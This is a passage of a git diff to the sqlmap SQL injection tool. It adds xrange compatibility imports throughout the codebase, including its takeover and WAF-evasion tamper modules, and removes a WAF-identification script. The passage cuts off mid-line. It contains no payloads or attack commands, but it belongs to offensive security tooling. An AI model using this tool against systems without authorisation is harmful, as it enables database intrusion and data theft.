urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar)) - urllib2.install_opener(opener) - - sys.path.insert(0, SQLMAP_DIR) - - for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")): - dirname, filename = os.path.split(found) - dirname = os.path.abspath(dirname) - - if filename == "__init__.py": - continue - - if dirname not in sys.path: - sys.path.insert(0, dirname) - - try: - if filename[:-3] in sys.modules: - del sys.modules[filename[:-3]] - module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8")) - except ImportError as ex: - sys.exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], ex))) - - _ = dict(inspect.getmembers(module)) - if "detect" not in _: - sys.exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found)) - else: - WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3]))) - - WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower()) - - print(colorize("[i] checking '%s'..." % sys.argv[1])) - - hostname = sys.argv[1].split("//")[-1].split('/')[0] - try: - socket.getaddrinfo(hostname, None) - except socket.gaierror: - print(colorize("[x] host '%s' does not exist" % hostname)) - sys.exit(1) - - found = False - for function, product in WAF_FUNCTIONS: - if found and "unknown" in product.lower(): - continue - - if function(get_page): - sys.exit(colorize("[!] WAF/IPS identified as '%s'" % product)) - - if not found: - print(colorize("[o] nothing found")) - - print() - - sys.exit(int(not found)) - -if __name__ == "__main__": - main() diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ab0110845cf..20a6af9673d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -105,6 +105,7 @@ from lib.request.templates import getPageTemplate from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion +from lib.utils.xrange import xrange from thirdparty import six from thirdparty.six.moves import http_client as _http_client diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 1fc91aba895..3c174618a2e 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -72,6 +72,7 @@ from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from lib.utils.hash import crackHashFile +from lib.utils.xrange import xrange def _selectInjection(): """ diff --git a/lib/core/agent.py b/lib/core/agent.py index 91e8992754a..49c313f3db1 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -46,6 +46,7 @@ from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER from lib.core.unescaper import unescaper +from lib.utils.xrange import xrange class Agent(object): """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 5d8fa21a950..d450d577728 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -20,6 +20,7 @@ from lib.core.exception import SqlmapSystemException from lib.core.settings import BIGARRAY_CHUNK_SIZE from lib.core.settings import BIGARRAY_COMPRESS_LEVEL +from lib.utils.xrange import xrange DEFAULT_SIZE_OF = sys.getsizeof(object()) diff --git a/lib/core/common.py b/lib/core/common.py index a2d4ccd1422..707a1f1fe3a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -167,6 +167,7 @@ from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy +from lib.utils.xrange import xrange from thirdparty import six from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseError diff --git a/lib/core/dump.py b/lib/core/dump.py index 5dd9cec31a6..eb6777f37ca 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -50,6 +50,7 @@ from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES +from lib.utils.xrange import xrange from thirdparty import six from thirdparty.magic import magic diff --git a/lib/core/option.py b/lib/core/option.py index 72153e0c636..1cf106ec3e8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -147,6 +147,7 @@ from lib.utils.deps import checkDependencies from lib.utils.search import search from lib.utils.purge import purge +from lib.utils.xrange import xrange from thirdparty import six from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost diff --git a/lib/core/settings.py b/lib/core/settings.py index 39bb791839c..5e6943d1761 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.70" +VERSION = "1.3.3.71" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index fae71d2c010..45abcc0e8e2 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -72,6 +72,7 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB +from lib.utils.xrange import xrange from thirdparty.odict import OrderedDict from thirdparty.six.moves import urllib as _urllib diff --git a/lib/core/threads.py b/lib/core/threads.py index 5b2e72797a5..c32ed0c5e3c 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -25,6 +25,7 @@ from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION +from lib.utils.xrange import xrange shared = AttribDict() diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 1d29ce4dd65..da3edf4b6b3 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -39,6 +39,7 @@ from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory +from lib.utils.xrange import xrange def cmdLineParser(argv=None): """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 23368f2d438..37addf5d1a3 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -16,6 +16,7 @@ from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException from lib.core.settings import PAYLOAD_XML_FILES +from lib.utils.xrange import xrange def cleanupVals(text, tag): if tag == "clause" and '-' in text: diff --git a/lib/request/connect.py b/lib/request/connect.py index 03b2c1115ea..ab5ce963e98 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -118,6 +118,7 @@ class WebSocketException(Exception): from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest +from lib.utils.xrange import xrange from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six.moves import http_client as _http_client diff --git a/lib/request/inject.py b/lib/request/inject.py index f08ffbefad8..f9a798d589a 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -59,6 +59,7 @@ from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse +from lib.utils.xrange import xrange from thirdparty import six def _goDns(payload, expression): diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 7c744f3b2f0..787ac481ccd 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -27,6 +27,7 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject +from lib.utils.xrange import xrange class UDF: """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 21b3b5fc7e2..9102becba3b 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -51,6 +51,7 @@ from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange from thirdparty.six.moves import urllib as _urllib class Web: diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 61e9dbfdac9..d50f0811681 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -32,6 +32,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData +from lib.utils.xrange import xrange from lib.request import inject class XP_cmdshell: diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index e4a2dc470c7..9d447c7d3a2 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -32,6 +32,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange def dnsUse(payload, expression): """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index b68274f1261..50a56e5dc73 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -57,6 +57,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.xrange import xrange from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index f5c2d314e2d..3d51b7dc6a8 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -42,6 +42,7 @@ from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 0611359d638..3800b52efc6 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -59,6 +59,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.xrange import xrange from thirdparty import six from thirdparty.odict import OrderedDict diff --git a/lib/utils/api.py b/lib/utils/api.py index 04f93931e33..384c84c8806 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -47,6 +47,7 @@ from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser +from lib.utils.xrange import xrange from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index f6a75f91d1e..faecf5da75b 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -31,6 +31,7 @@ from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib diff --git a/lib/utils/hash.py b/lib/utils/hash.py index ecf43664ad6..98d76b6df4f 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -86,6 +86,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist +from lib.utils.xrange import xrange from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.pydes.pyDes import des diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index a51226a7867..808cf3b9db7 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -25,6 +25,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadName +from lib.utils.xrange import xrange class HashDB(object): def __init__(self, filepath): diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index ef59479360f..f1372ac4f17 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -31,6 +31,7 @@ from lib.core.settings import NULL from lib.core.unescaper import unescaper from lib.request import inject +from lib.utils.xrange import xrange def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} diff --git a/lib/utils/purge.py b/lib/utils/purge.py index d716c284963..fc4ed95a0ee 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -13,6 +13,7 @@ from lib.core.common import getSafeExString from lib.core.data import logger +from lib.utils.xrange import xrange def purge(directory): """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 125c8ec07b3..3e4ca31ef98 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,10 +1,12 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import numbers + class xrange(object): """ Advanced (re)implementation of xrange (supports slice/copy/etc.) @@ -68,7 +70,7 @@ def __getitem__(self, index): start, stop, step = index.indices(self._len()) return xrange(self._index(start), self._index(stop), step * self.step) - elif isinstance(index, (int, long)): + elif isinstance(index, numbers.Integral): if index < 0: fixed_index = index + self._len() else: diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 09fc030ff38..43c81c2f0f4 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -15,6 +15,7 @@ from lib.core.session import setDbms from lib.core.settings import DB2_ALIASES from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 9214190bdd4..210f3532917 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -19,6 +19,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index d95e1bcbeff..d991f625edf 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +from lib.utils.xrange import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index d95e1bcbeff..d991f625edf 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +from lib.utils.xrange import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index bbf4186ade7..2388bf012bc 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -16,6 +16,7 @@ from lib.core.settings import MAXDB_ALIASES from lib.request import inject from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index c949c10b385..b3bee7134df 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -28,6 +28,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.enumeration import Enumeration as GenericEnumeration from thirdparty import six diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index f7ac1402bf1..0702a893221 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -24,6 +24,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.filesystem import Filesystem as GenericFilesystem diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index a19d3a92e4f..1cff5e029bf 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +from lib.utils.xrange import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index a7795b5238c..cde20ca310d 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -11,6 +11,7 @@ from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 808575f05bf..81e80dbc81b 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -26,6 +26,7 @@ from lib.request import inject from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse +from lib.utils.xrange import xrange from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 56a8e269b39..cc91c50a3bb 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -21,6 +21,7 @@ from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 805831590c5..6825697fd53 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -21,6 +21,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 71a43809c42..fd407fb59f6 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +from lib.utils.xrange import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index bed8233b8ad..0b0045e82f6 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -12,6 +12,7 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 5e238a240d2..1904f6c58ab 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -16,6 +16,7 @@ from lib.core.session import setDbms from lib.core.settings import SYBASE_ALIASES from lib.request import inject +from lib.utils.xrange import xrange from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index a0492a89151..533d0ac2ff6 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +from lib.utils.xrange import xrange from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index b77a1f55e11..497eb6964be 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -31,6 +31,7 @@ from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.core.settings import UNICODE_ENCODING from lib.request import inject +from lib.utils.xrange import xrange class Filesystem: """ @@ -70,7 +71,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): sameFile = None if isNumPosStrValue(remoteFileSize): - remoteFileSize = long(remoteFileSize) + remoteFileSize = int(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 7909fd9dbdb..e0d7d7ff817 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -42,6 +42,7 @@ from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable +from lib.utils.xrange import xrange class Users: """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 6ddaf128e0f..4947da3d3b3 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -6,6 +6,7 @@ """ from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 125efd66feb..770d6394f19 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -6,6 +6,7 @@ """ from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/luanginx.py b/tamper/luanginx.py index bda88395034..308ed9a3b32 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -11,6 +11,7 @@ from lib.core.enums import HINT from lib.core.enums import PRIORITY from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.utils.xrange import xrange __priority__ = PRIORITY.NORMAL diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index 1304c9c5ebe..12dcc6ebbce 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -12,6 +12,7 @@ from lib.core.common import zeroDepthSearch from lib.core.enums import DBMS from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 4a1bca1e87e..693443294d3 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -12,6 +12,7 @@ from lib.core.common import zeroDepthSearch from lib.core.enums import DBMS from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.HIGHEST diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 09303de339e..c76452f7b4d 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -10,6 +10,7 @@ from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.NORMAL diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 2b45d723c72..8717162410f 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -10,6 +10,7 @@ from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2comment.py b/tamper/space2comment.py index bd296db90fe..7b82b4178fc 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -6,6 +6,7 @@ """ from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 970c71f0884..90e941a5fde 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -9,6 +9,7 @@ import string from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2hash.py b/tamper/space2hash.py index ffc0fe06c9e..9b1aa50e6fe 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -12,6 +12,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 379667382a6..848a9dae855 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -6,6 +6,7 @@ """ from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index b941feec1ed..93f8b43ebdf 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -15,6 +15,7 @@ from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index b581984aa9a..754955f7170 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -11,6 +11,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index 4d7796e181a..f9d6f75d0b0 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -6,6 +6,7 @@ """ from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index aca3bf9788a..83742a180f9 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -11,6 +11,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 72ca303b8b7..26284e051dd 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -10,6 +10,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2plus.py b/tamper/space2plus.py index d14201a203f..df8ce1c874e 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -6,6 +6,7 @@ """ from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 15623fa6abd..e6271cb1e5a 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -8,6 +8,7 @@ import random from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.LOW diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 1b45bcfdd21..cb86e78201c 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -8,6 +8,7 @@ import re from lib.core.enums import PRIORITY +from lib.utils.xrange import xrange __priority__ = PRIORITY.NORMAL diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index e3b33111830..4bbbae5f4b1 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -5,8 +5,11 @@ See the file 'LICENSE' for copying permission """ +import random + from lib.core.enums import PRIORITY -from random import sample +from lib.utils.xrange import xrange + __priority__ = PRIORITY.NORMAL def dependencies(): @@ -16,7 +19,7 @@ def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): - numbers = sample(xrange(1, 255), 4) + numbers = random.sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index b6910f27cba..347118990be 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -87,6 +87,10 @@ import codecs import types import re +import sys + +if sys.version_info.major > 2: + xrange = range try: from htmlentitydefs import name2codepoint diff --git a/thirdparty/chardet/eucjpprober.py b/thirdparty/chardet/eucjpprober.py index 2d5b2701c60..2d4944c2709 100644 --- a/thirdparty/chardet/eucjpprober.py +++ b/thirdparty/chardet/eucjpprober.py @@ -33,6 +33,8 @@ from .jpcntx import EUCJPContextAnalysis from .mbcssm import EUCJPSMModel +if sys.version_info.major > 2: + xrange = range class EUCJPProber(MultiByteCharSetProber): def __init__(self): diff --git a/thirdparty/chardet/mbcharsetprober.py b/thirdparty/chardet/mbcharsetprober.py index c98cc622888..45487f2d055 100644 --- a/thirdparty/chardet/mbcharsetprober.py +++ b/thirdparty/chardet/mbcharsetprober.py @@ -31,6 +31,8 @@ from . import constants from .charsetprober import CharSetProber +if sys.version_info.major > 2: + xrange = range class MultiByteCharSetProber(CharSetProber): def __init__(self): diff --git a/thirdparty/chardet/sjisprober.py b/thirdparty/chardet/sjisprober.py index 4edb6df9b16..98d6ecac80f 100644 --- a/thirdparty/chardet/sjisprober.py +++ b/thirdparty/chardet/sjisprober.py @@ -33,6 +33,8 @@ from .mbcssm import SJISSMModel from . import constants +if sys.version_info.major > 2: + xrange = range class SJISProber(MultiByteCharSetProber): def __init__(self): diff --git a/thirdparty/chardet/utf8prober.py b/thirdparty/chardet/utf8prober.py index 42d32ec3abf..edbac120079 100644 --- a/thirdparty/chardet/utf8prober.py +++ b/thirdparty/chardet/utf8prober.py @@ -25,11 +25,15 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### +import sys from . import constants from .charsetprober import CharSetProber from .codingstatemachine import CodingStateMachine from .mbcssm import UTF8SMModel +if sys.version_info.major > 